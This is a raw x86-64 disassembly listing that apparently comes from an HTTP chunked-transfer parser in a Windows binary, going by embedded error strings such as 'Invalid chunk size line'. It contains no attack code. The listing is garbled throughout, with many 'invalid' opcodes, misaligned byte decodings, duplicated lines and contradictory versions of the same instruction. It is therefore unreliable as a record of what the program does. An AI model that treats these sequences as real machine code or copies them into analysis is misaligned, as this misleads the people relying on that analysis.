movaps xmmword [rsp + 0xa0], xmm0
and al, 0xa0
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x68
and al, 0xa0
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x68
xor r15d, r15d
mov rdx, r14
xor r8d, r8d
call qword [r12 + 0x10]
jmp 0x14007d12a
and al, 0x48
mov rdx, r14
call qword [rax + 0x10]
lea eax, [r12 - 0x30]
cmp al, 0xa
jae 0x14007c69b
mov rcx, qword [rbx + 0x80]
movabs rdx, 0xfffffffffffffff
cmp rcx, rdx
ja 0x14007c79c
shl rcx, 4
movzx eax, al
or rax, rcx
mov qword [rbx + 0x80], rax
mov al, 1
mov byte [rbx + 0x79], al
jns 0x14007c6cb
mov dword [rsp + 0x80], 0
jns 0x14007c6cb
mov dword [rsp + 0x80], 0
movzx eax, al
movsxd rax, dword [rbp + rax*4]
add rax, rbp
jmp rax
lea eax, [r12 - 0x61]
cmp al, 6
jae 0x14007c6f2
mov rax, qword [rbx + 0x80]
movabs rcx, 0xfffffffffffffff
cmp rax, rcx
ja 0x14007c79c
shl rax, 4
loopne 0x14007c6c6
add r12b, 0xa9
movzx ecx, r12b
add rcx, rax
add ecx, eax
mov qword [rbx + 0x80], rcx
mov al, 1
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
movzx eax, al
movsxd rax, dword [rbp + rax*4]
add rax, rbp
jmp rax
lea eax, [r12 - 0x41]
cmp al, 6
jae 0x14007c749
mov rax, qword [rbx + 0x80]
add byte [rax], al
movabs rcx, 0xfffffffffffffff
cmp rax, rcx
ja 0x14007c79c
shl rax, 4
add r12b, 0xc9
add al, 0x41
add ah, 0xc9
movzx ecx, r12b
add rcx, rax
mov qword [rbx + 0x80], rcx
mov al, 1
add dword [rax - 0x38b786bd], ecx
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc0
add dword [rax - 0x38b786bd], ecx
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc0
movsxd rax, dword [rbp + rax*4]
add rax, rbp
jmp rax
lea rdx, [0x140158af5]
mov r8d, 0x2b
mov cl, 0x14
jmp 0x14007c7ab
lea rdx, str.unexpected_EOF_during_chunk_size_lineInvalid_chunk_size_line:_missing_size_digitinvalid_chunk_size:_overflowInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LFInvalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlinechunk_extensions_over_limitInvalid_trailer_end_LFInvalid_chunk_size_line:_Invalid_Size
mov r8d, 0x25
mov cl, 0x25
call fcn.140070150
invalid
dec dword [rcx - 0x77]
invalid
mov rax, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
invalid
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x48]
call qword [rax + 0x10]
mov al, 1
mov rbp, qword [rsp + 0x28]
cmp al, 2
jne 0x14007d0d5
jmp 0x14007d08f
lea rdx, [0x140158b20]
mov r8d, 0x1c
mov eax, 0x1c
mov eax, 0x1c
add byte [rcx + 0x39a0e815], dh
invalid
mov cl, 0x15
call fcn.140070150
mov r14, rax
xor r12d, r12d
xor r13d, r13d
mov rbp, qword [rsp + 0x28]
mov rax, qword [rsp + 0x80]
test rax, rax
jne 0x14007d0e8
jmp 0x14007d103
mov eax, dword [rsp + 0x40]
test r8, r8
je 0x14007c75a
movzx r12d, byte [r14]
lea rcx, [rsp + 0x48]
lea rcx, es:[rsp + 0x48]
mov rdx, r14
call qword [rax + 0x10]
lea eax, [r12 - 0x30]
cmp al, 0xa
jae 0x14007c88e
mov rcx, qword [rbx + 0x80]
movabs rdx, 0xfffffffffffffff
invalid
invalid
invalid
invalid
dec dword [rdi]
cmp rcx, rdx
ja 0x14007c79c
shl rcx, 4
shl ecx, 4
movzx eax, al
or rax, rcx
mov qword [rbx + 0x80], rax
mov al, 1
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc0
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc0
movsxd rax, dword [rbp + rax*4]
add rax, rbp
jmp rax
lea eax, [r12 - 0x61]
cmp al, 6
jae 0x14007c8e5
mov rax, qword [rbx + 0x80]
movabs rcx, 0xfffffffffffffff
invalid
invalid
invalid
invalid
invalid
invalid
dec dword [rdi]
cmp rax, rcx
ja 0x14007c79c
shl rax, 4
add r12b, 0xa9
movzx ecx, r12b
add rcx, rax
mov qword [rbx + 0x80], rcx
mov al, 1
add dword [rax - 0x38b786bd], ecx
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc0
add dword [rax - 0x38b786bd], ecx
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc0
movsxd rax, dword [rbp + rax*4]
add rax, rbp
jmp rax
lea eax, [r12 - 0x41]
cmp al, 6
jae 0x14007c93c
mov rax, qword [rbx + 0x80]
movabs rcx, 0xfffffffffffffff
invalid
invalid
invalid
invalid
invalid
dec dword [rdi]
cmp rax, rcx
ja 0x14007c79c
shl rax, 4
add r12b, 0xc9
movzx ecx, r12b
add rcx, rax
mov qword [rbx + 0x80], rcx
mov al, 1
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc0
movsxd rax, dword [rbp + rax*4]
add rax, rbp
add eax, ebp
add eax, ebp
jmp rax
mov al, 2
cmp r12d, 0x1f
jg 0x14007c972
cmp r12d, 9
je 0x14007cf29
add byte [rax], al
add byte [rax], al
cmp r12d, 0xd
jne case.0x14005f8a0.62
mov al, 4
mov byte [rbx + 0x79], al
jns 0x14007c9a2
mov dword [rsp + 0x80], 0
jns 0x14007c9a2
mov dword [rsp + 0x80], 0
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc0
movzx eax, al
movsxd rax, dword [rbp + rax*4]
add rax, rbp
jmp rax
cmp r12d, 0x20
je 0x14007cf29
lodsd eax, dword [rsi]
invalid
add byte [rax], al
lodsd eax, dword [rsi]
add eax, 0x83410000
cld
cmp esi, dword [rbp + 0x1e]
cmp r12d, 0x3b
jne case.0x14005f8a0.62
mov al, 3
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
mov dword [rsp + 0x80], 0
mov dword [rsp + 0x80], 0
movzx eax, al
movsxd rax, dword [rbp + rax*4]
add rax, rbp
jmp rax
lea rdx, [0x140158c0d]
adc eax, 0xdc266
mov r8d, 0x25
mov cl, 0x14
jmp 0x14007c7ab
and al, 0x50
push rax
mov r9d, 1
mov rdx, r15
mov r8, rdi
call fcn.1400a4dc0
test byte [rbx + 0x44f60002], 0x24
push rax
add dword [rdi], ecx
invalid
invalid
invalid
add byte [rax], al
test byte [rbx + 0x44f60002], 0x24
push rax
add dword [rdi], ecx
test dword [0x18807c9dc], esp
mov eax, dword [rsp + 0x58]
add byte [rax], al
mov rax, qword [rsp + 0x58]
mov r14, qword [rsp + 0x60]
test rax, rax
je 0x14007d084
pushfq
invalid
add byte [rax], al
pushfq
invalid
add byte [rax], al
movups xmm0, xmmword [r13]
lea rcx, [rsp + 0x40]
movups xmmword [rcx], xmm0
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x38], r14
mov r8, qword [rsp + 0x40]
test r8, r8
je 0x14007c75a
movzx r12d, byte [r14]
lea rcx, [rsp + 0x48]
mov rdx, r14
call qword [rax + 0x10]
mov al, 2
cmp r12d, 0x1f
jg 0x14007ca52
cmp r12d, 9
je 0x14007cf29
cmp r12d, 0xd
jne 0x14007ca80
mov al, 4
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
movzx eax, al
movsxd rax, dword [rbp + rax*4]
add rax, rbp
invalid
jmp rax
call 0xc349ab53
cld
and byte [rdi], cl
test ch, cl
add al, 0
add byte [rcx - 0x7d], al
cmp r12d, 0x20
je 0x14007cf29
cmp r12d, 0x3b
cld
cmp esi, dword [rbp + 0x1e]
jne 0x14007ca80
mov al, 3
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
movzx eax, al
movsxd rax, dword [rbp + rax*4]
add rax, rbp
jmp rax
invalid
loopne 0x14007cac9
lea rdx, [0x140158b8f]
lea edx, [0x140158b8f]
jmp 0x14007c9a7
and al, 0x50
and al, 0x50
mov r9d, 1
mov rdx, r15
mov r8, rdi
call fcn.1400a4dc0
test byte [rsp + 0x50], 1
jne 0x14007cffa
mov rax, qword [rsp + 0x58]
and al, 0x58
mov r14, qword [rsp + 0x60]
test rax, rax
je 0x14007d084
movups xmm0, xmmword [r13]
lea rcx, [rsp + 0x40]
movups xmmword [rcx], xmm0
movups xmmword [rcx], xmm0
mov qword [rsp + 0x30], rax
and al, 0x30
mov qword [rsp + 0x38], r14
mov r8, qword [rsp + 0x40]
test r8, r8
je 0x14007c75a
cld
invalid
invalid
cld
invalid
movzx r12d, byte [r14]
lea rcx, [rsp + 0x48]
lea rcx, es:[rsp + 0x48]
mov rdx, r14
call qword [rax + 0x10]
push rax
adc byte [rax - 0x37cbefc], dh
cmp esp, 0xd
push rax
adc byte [rax - 0x37cbefc], dh
cmp esp, 0xd
je 0x14007cf29
cmp esp, 0xd
je 0x14007cf29
add al, 0
add byte [rcx - 0x7d], al
cld
or dh, byte [rdx + rsi + 0x48]
mov ecx, dword [rbx + 0x88]
cmp r12d, 0xa
je 0x14007cb38
mov rcx, qword [rbx + 0x88]
inc rcx
mov qword [rbx + 0x88], rcx
ror dword [rax - 0x77], 0x8b
mov byte [rax], al
add byte [rax], al
mov al, 3
cmp rcx, 0x3fff
add byte [rax], al
add byte [rax], al
jbe 0x14007cf29
lea rdx, [0x140158bdc]
lea edx, [0x140158bdc]
mov r8d, 0x1b
jmp 0x14007c7a9
lea rdx, [0x140158bb4]
mov r8d, 0x28
jmp 0x14007c7a9
jne 0x14007cafd
or eax, 0x28b84100
add byte [rax], al
add cl, ch
pop rdi
cld
invalid
invalid
and al, 0x58
mov r14, qword [rsp + 0x60]
invalid
test rax, rax
je 0x14007d084
invalid
movups xmm0, xmmword [r13]
lea rcx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
movups xmmword [rcx], xmm0
movups xmmword [rcx], xmm0
mov qword [rsp + 0x30], rax
and al, 0x30
mov qword [rsp + 0x38], r14
mov r8, qword [rsp + 0x40]
test r8, r8
je 0x14007c75a
movzx r13d, byte [r14]
lea rcx, [rsp + 0x48]
mov rdx, r14
call qword [rax + 0x10]
push rax
adc byte [rcx - 0x80], al
std
or dh, byte [rbp + 0x18]
push rax
adc byte [rcx - 0x80], al
std
or dh, byte [rbp + 0x18]
xor eax, eax
test r12, r12
sete al
lea eax, [rax + rax*4]
add eax, 5
lea r13, [rsp + 0x68]
jmp 0x14007cc70
lea rdx, [0x140158b7a]
jmp 0x14007cd91
mov ecx, dword [rbx + 0x80]
lea rcx, [rsp + 0x50]
mov rdx, r15
mov r8, rdi
call fcn.1400a4dc0
test byte [rsp + 0x50], 1
jne 0x14007cffa
mov r12, qword [rsp + 0x58]
mov r14, qword [rsp + 0x60]
test r12, r12
in al, 0xf
test byte [rsp + rax], ch
invalid
je 0x14007cc32
invalid
in al, 0xf
test byte [rsp + rax], ch
add byte [rcx + 0xf], al
movups xmm0, xmmword [r13]
adc byte [rbp], al
lea rax, [rsp + 0x40]
movups xmmword [rax], xmm0
add byte [rcx + rcx*4 + 0x64], cl
and al, 0x30
add byte [rcx + rcx*4 + 0x64], cl
and al, 0x30
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x40]
and al, 0x40
test rax, rax
je 0x14007ccbe
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x30
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
movups xmm0, xmmword [rsp + 0x40]
and al, 0x40
and al, 0x40
movaps xmmword [rsp + 0x90], xmm0
sub qword [rbx + 0x80], rax
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], rdx
add byte [rdi], cl
xchg esp, eax
invalid
add al, 5
nop
add byte [rax], al
add byte [rax + 0x29], cl
add dword [rax + 0x48000000], 0xffffff89
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0x88
add byte [rax], al
add byte [rdi], cl
xchg esp, eax
rol byte [rax + 0x4c794388], 0x8b
movsb byte [rdi], byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rbp - 0x7b], cl
in al, 0x75
sbb dword [rax - 0x39], ecx
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov byte [rbx + 0x79], al
mov r12, qword [rsp + 0x80]
test r12, r12
jne 0x14007cc99
mov qword [rsp + 0x80], 0
add byte [rax], al
movzx eax, al
mov dh, 0xc0
movsxd rax, dword [rbp + rax*4]
add rax, rbp
jmp rax
invalid
mov r14, qword [rsp + 0x88]
mov byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rbx*4], fs
add byte [rax], al
add byte [rbp + 0x31], al
xor ebp, ebp
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x98]
xor r13d, r13d
xor ebp, ebp
xor ebp, ebp
mov rbp, qword [rsp + 0x28]
jmp 0x14007d107
invalid
add byte [rax - 0x39], cl
add dword [rax], 0
add byte [rax], al
mov qword [rbx + 0x80], 0
call fcn.1400702e0
adc dh, byte [rsi]
invalid
dec dword [rcx - 0x77]
invalid
mov r15, rax
lea rcx, [rsp + 0x48]
mov rdx, r14
xor r8d, r8d
call qword [r12 + 0x10]
mov al, 1
add dword [rbp - 0x77], ecx
dec byte [rax - 0x75]
insb byte [rdi], dx
and al, 0x28
add dword [rbp - 0x77], ecx
dec byte [rax - 0x75]
insb byte [rdi], dx
and al, 0x28
cmp al, 2
jne 0x14007d0d5
jmp 0x14007d08f
add byte [rax], al
lea rcx, [rsp + 0x50]
mov r9d, 1
mov rdx, r15
mov r8, rdi
call fcn.1400a4dc0
add dh, dh
and al, 0x50
add dword [rdi], ecx
test ecx, esp
add al, byte [rax]
invalid
add dh, dh
and al, 0x50
add dword [rdi], ecx
test ecx, esp
add al, byte [rax]
add byte [rbx + rcx*4 + 0x64], cl
mov esp, dword [rsp + 0x58]
mov r12, qword [rsp + 0x58]
mov esp, dword [rsp + 0x58]
mov r14, qword [rsp + 0x60]
test r12, r12
je 0x14007d084
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [r13]
lea rax, [rsp + 0x40]
invalid
movups xmmword [rax], xmm0
movups xmmword [rax], xmm0
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], r14
mov r8, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
test r8, r8
je 0x14007cd78
sal byte [rbx + rbp + 0x45], 0xf
mov dh, 0x2e
movzx r13d, byte [r14]
lea rcx, [rsp + 0x48]
mov rdx, r14
call qword [r12 + 0x10]
call qword [rsp + 0x10]
call qword [rsp + 0x10]
mov al, 7
cmp r13b, 0xd
lea r13, [rsp + 0x68]
lea ebp, [rsp + 0x68]
lea ebp, [rsp + 0x68]
je 0x14007cf29
lea rdx, [0x140158b50]
jmp 0x14007cd91
fidivr dword [rbp + 0x19eb000d]
lea rdx, str.unexpected_EOF_during_chunk_size_lineInvalid_chunk_size_line:_missing_size_digitinvalid_chunk_size:_overflowInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LFInvalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlinechunk_extensions_over_limitInvalid_trailer_end_LFInvalid_chunk_size_line:_Invalid_Size
lea edx, str.unexpected_EOF_during_chunk_size_lineInvalid_chunk_size_line:_missing_size_digitinvalid_chunk_size:_overflowInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LFInvalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlinechunk_extensions_over_limitInvalid_trailer_end_LFInvalid_chunk_size_line:_Invalid_Size
adc eax, 0xdbd51
mov r8d, 0x25
mov cl, 0x25
call fcn.140070150
jmp 0x14007ccce
mov r8d, 0x15
mov cl, 0x14
jmp 0x14007c7ab
invalid
cli
invalid
invalid
or eax, 0x48fffffa
lea ecx, [rsp + 0x50]
mov r9d, 1
mov rdx, r15
mov r8, rdi
call fcn.1400a4dc0
add byte [rdx], 0
add byte [rdx], 0
test byte [rsp + 0x50], 1
jne 0x14007cffa
mov r12, qword [rsp + 0x58]
and al, 0x58
and al, 0x58
mov r14, qword [rsp + 0x60]
test r12, r12
je 0x14007d084
invalid
mov dl, 2
add byte [rax], al
test byte [rdx + 0x41000002], dh
movups xmm0, xmmword [rbp]
movups xmm0, xmmword [r13]
lea rax, [rsp + 0x40]
and al, 0x40
movups xmmword [rax], xmm0
mov qword [rsp + 0x30], r12
and al, 0x30
and al, 0x30
mov qword [rsp + 0x38], r14
mov r8, qword [rsp + 0x40]
test r8, r8
je 0x14007cd78
test dword [rbp + 0xf], eax
movzx r13d, byte [r14]
mov dh, 0x2e
lea rcx, [rsp + 0x48]
mov rdx, r14
call qword [r12 + 0x10]
mov al, 1
cmp r13b, 0xa
lea r13, [rsp + 0x68]
je 0x14007cf29
adc al, 1
add byte [rax], al
adc al, 1
add byte [rax], al
lea rdx, [0x140158b65]
jmp 0x14007cd91
clc
call fcn.1400a4dc0
test byte [rsp + 0x50], 1
jne 0x14007cffa
mov rax, qword [rsp + 0x58]
pop rax
mov r14, qword [rsp + 0x60]
test rax, rax
je 0x14007d084
je 0x14007ce6f
invalid
movups xmm0, xmmword [r13]
movups xmm0, xmmword [rbp]
add byte [rax - 0x73], cl
and al, 0x40
invalid
lea rcx, [rsp + 0x40]
movups xmmword [rcx], xmm0
movups xmmword [rcx], xmm0
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], r14
mov r8, qword [rsp + 0x40]
and al, 0x40
test r8, r8
je 0x14007c75a
invalid
inc dword [rbp + 0xf]
mov dh, 0x26
movzx r12d, byte [r14]
lea rcx, [rsp + 0x48]
mov rdx, r14
mov rdx, r14
call qword [rax + 0x10]
cmp r12b, 0xd
sete al
or al, 8
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movzx eax, al
movsxd rax, dword [rbp + rax*4]
add rax, rbp
jmp rax
jne 0x14007cffa
mov r12, qword [rsp + 0x58]
mov r14, qword [rsp + 0x60]
test r12, r12
test esp, esp
test esp, esp
je 0x14007d084
test byte [rdx + 0x41000001], ah
movups xmm0, xmmword [rbp]
movups xmm0, xmmword [r13]
lea rax, [rsp + 0x40]
and al, 0x40
movups xmmword [rax], xmm0
adc dword [rax], eax
mov qword [rsp + 0x30], r12
and al, 0x30
mov qword [rsp + 0x38], r14
mov r8, qword [rsp + 0x40]
test r8, r8
je 0x14007cd78
movzx r13d, byte [r14]
mov dh, 0x2e
lea rcx, cs:[rsp + 0x48]
lea rcx, [rsp + 0x48]
mov rdx, r14
call qword [r12 + 0x10]
mov al, 0xa
invalid
or al, byte [rcx - 0x80]
std
or cl, byte [rbp + rcx*4 + 0x6c]
cmp r13b, 0xa
lea r13, [rsp + 0x68]
and al, 0x68
and al, 0x68
jne 0x14007d00e
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc0
invalid
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc0
invalid
ror byte [rax + 0x63], 0x44
test dword [rax], eax
movsxd rax, dword [rbp + rax*4]
add rax, rbp
jmp rax
add dh, dh
and al, 0x50
add dword [rdi], ecx
test dword [rax + rax - 0x74b40000], edx
and al, 0x58
mov r14, qword [rsp + 0x60]
test r12, r12
je 0x14007d084
test byte [rbx], cl
add dword [rax], eax
invalid
test byte [rbx], cl
add dword [rax], eax
add byte [rcx + 0xf], al
adc byte [rbp], al
or eax, dword [rcx]
add byte [rax], al
movups xmm0, xmmword [r13]
lea rax, [rsp + 0x40]
movups xmmword [rax], xmm0
invalid
movups xmmword [rax], xmm0
add byte [rcx + rcx*4 + 0x64], cl
and al, 0x30
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], r14
mov r8, qword [rsp + 0x40]
test r8, r8
je 0x14007cd78
invalid
std
invalid
invalid
invalid
movzx r13d, byte [r14]
lea rcx, [rsp + 0x48]
mov rdx, r14
call qword [r12 + 0x10]
xor eax, eax
cmp r13b, 0xd
cmp ch, 0xd
lea r13, [rsp + 0x68]
lea ebp, [rsp + 0x68]
sete al
lea eax, [rax + rax*2 + 8]
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc0
add byte [rax], al
movzx eax, al
movsxd rax, dword [rbp + rax*4]
add rax, rbp
jmp rax
jge 0x14007cff4
add dh, dh
and al, 0x50
add dword [rax + rbp - 0x50], esi
add cl, byte [rax - 0x75]
insb byte [rdi], dx
and al, 0x28
invalid
mov al, 2
mov rbp, qword [rsp + 0x28]
invalid
sub byte [rdx + rax], bh
cmp al, 2
jne 0x14007d0d5
add byte [rax], al
add cl, ch
add dword [rax], 0x8d480000
adc eax, 0xdbbe2
loop 0x14007cfce
invalid
invalid
jmp 0x14007d08f
lea rdx, [0x140158bf7]
loop 0x14007cfce
or eax, 0x16b84100
add byte [rax], al
add byte [rcx - 0x87616ec], dh
mov r8d, 0x16
mov eax, 0x16
mov cl, 0x14
jmp 0x14007c7ab
invalid
invalid
invalid
dec dword [rax - 0x75]
insb byte [rdi], dx
and al, 0x58
mov r14, qword [rsp + 0x60]
test rbp, rbp
je 0x14007d084
push rbx
push rbx
lea r15, [rsp + 0x48]
lea edi, [rsp + 0x48]
movups xmm0, xmmword [r13]
lea rax, [rsp + 0x40]
movups xmmword [rax], xmm0
adc dword [rax], eax
adc dword [rax], eax
add byte [rax - 0x77], cl
insb byte [rdi], dx
and al, 0x30
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], r14
mov r8, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
test r8, r8
test r8, r8
je 0x14007d0a4
movzx r12d, byte [r14]
mov rcx, r15
mov rdx, r14
call qword [rbp + 0x10]
push rbp
adc byte [rcx - 0x80], al
cld
or cl, byte [rdi]
test dword [rsi], edx
add dword [rax], eax
invalid
push rbp
adc byte [rcx - 0x80], al
cld
or cl, byte [rdi]
test dword [rsi], edx
add dword [rax], eax
add dh, al
jns 0x14007d07e
jns 0x14007d07e
mov byte [rbx + 0x79], 0xc
jns 0x14007d07e
or al, 0x4c
lea esp, [0x140158ab8]
invalid
invalid
invalid
lea r12, [0x140158ab8]
mov edx, 0xbe41000d
add dword [rax], eax
add byte [rax], al
mov r14d, 1
add cl, ch
xor dh, bh
invalid
jmp 0x14007c7b6
mov al, 1
mov rbp, qword [rsp + 0x28]
cmp al, 2
jne 0x14007d0d5
mov r13d, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x80]
test rax, rax
jne 0x14007d0e8
test byte [rax + rax*4], ah
and al, 0x80
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbp + 0x46], 0xeb
pop rdi
jmp 0x14007d103
lea rdx, str.unexpected_EOF_during_chunk_size_lineInvalid_chunk_size_line:_missing_size_digitinvalid_chunk_size:_overflowInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LFInvalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlinechunk_extensions_over_limitInvalid_trailer_end_LFInvalid_chunk_size_line:_Invalid_Size
mov r8d, 0x25
add byte [rcx + 0x3098e825], dh
invalid
dec dword [rcx - 0x77]
mov esp, eax
add byte [rcx + 0x3098e825], dh
invalid
and eax, 0xff3098e8
dec dword [rcx - 0x77]
mov esp, eax
mov esp, eax
mov rcx, r15
mov rdx, r14
xor r8d, r8d
call qword [rbp + 0x10]
mov al, 1
add dword [rbp - 0x77], ecx
out 0x48, al
mov ebp, dword [rsp + 0x28]
add dword [rbp - 0x77], ecx
out 0x48, al
mov ebp, dword [rsp + 0x28]
cmp al, 2
je 0x14007d08f
xor r12d, r12d
xor r13d, r13d
in eax, dx
in eax, dx
mov rax, qword [rsp + 0x80]
mov eax, dword [rsp + 0x80]
test rax, rax
je 0x14007d103
lea rcx, [rsp + 0x98]
lea ecx, [rsp + 0x98]
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
add byte [rax], al
add bh, bh
push rax
invalid
xchg esp, eax
and al, 0x88
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x90
add byte [rax], al
add bh, bh
push rax
adc byte [rcx], dh
sal byte [rcx], 0xc9
xor eax, eax
xor ecx, ecx
test r13, r13
je 0x14007d115
mov qword [rsi], 2
jmp 0x14007d170
test r12, r12
jne 0x14007c4f9
invalid
invalid
invalid
mov r15d, 1
add byte [rax], al
add byte [rcx - 0x43], al
add al, 0
add byte [rax], al
mov r13d, 4
mov qword [rbx + 0x70], r13
mov rax, qword [rsp + 0xb0]
mov al, 0
add byte [rax], al
imul esi, dword [rax + 0x48], 0xffffff8b
test byte [rax + rsi*4], ah
mov al, 0
add byte [rax], al
mov qword [rbp + 0x10], rax
movaps xmm0, xmmword [rsp + 0xa0]
and al, 0xa0
add byte [rax], al
invalid
mov al, 0
add byte [rax], al
mov qword [rbp + 0x10], rax
movaps xmm0, xmmword [rsp + 0xa0]
and al, 0xa0
add byte [rax], al
invalid
and al, 0xa0
add byte [rax], al
add byte [rdi], cl
movups xmmword [rbp], xmm0
adc dword [rbp], eax
mov rcx, rbx
call fcn.140079cd0
dec dword [rax - 0x77]
invalid
mov rdx, rdi
mov edx, edi
dec dword [rax - 0x77]
invalid
mov edx, edi
cli
call fcn.140079da0
mov qword [rsi], r15
dec dword [rcx + rcx*4 + 0x3e]
mov qword [rsi + 8], r12
mov qword [rsi + 0x10], r14
movaps xmm0, xmmword [rsp + 0xd0]
or byte [rcx + rcx*4 + 0x76], cl
adc byte [rdi], cl
sub byte [rsp + 0xd0], al
movups xmmword [rsi + 0x18], xmm0
sbb byte [rax - 0x7f], r9b
add rsp, 0xe8
pop rbx
invalid
call 0x19b07d178
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, [0x140158b3c]
mov r8d, 0x14
mov cl, 0x14
jmp 0x14007c7ab
int3
or byte [rcx + rax - 0x40], 0xff
loopne 0x14007d201
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14015a373]
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xdd1a8
invalid
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
mov r8d, 4
add rsp, 0x40
pop rsi
jmp rax
invalid
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14015e4e8]
add byte [rcx - 0x48], al
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
pop rsi
jmp rax
add byte [rcx - 0x48], al
invalid
mov dword [rsp + 0x38], ecx
and al, 0x38
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x14015b9d5]
mov r8d, 4
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov qword [rsp + 0x20], 0
and al, 0x20
add byte [rax], al
add byte [rax], al
and al, 0x20
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x31], 0
lea r8, [0x14005e820]
dec dword [rax - 0x73]
and al, 0x20
dec dword [rax - 0x73]
and al, 0x20
lea rdx, [rsp + 0x38]
call fcn.14000c0c0
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x14007d36f
mov al, 1
test dl, 1
jne 0x14007d371
cmp rcx, 1
jne 0x14007d350
mov rsi, qword [rsp + 0x28]
cmp byte [rsp + 0x31], 0
sub byte [rax + 0x31247c], al
je 0x14007d355
test byte [rsi + 0x34], 4
jne 0x14007d355
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.____
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
je 0x14007d355
jmp 0x14007d371
mov rsi, qword [rsp + 0x28]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14016a0bd]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x14007d371
mov eax, edx
and al, 1
add rsp, 0x40
pop rsi
ret
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
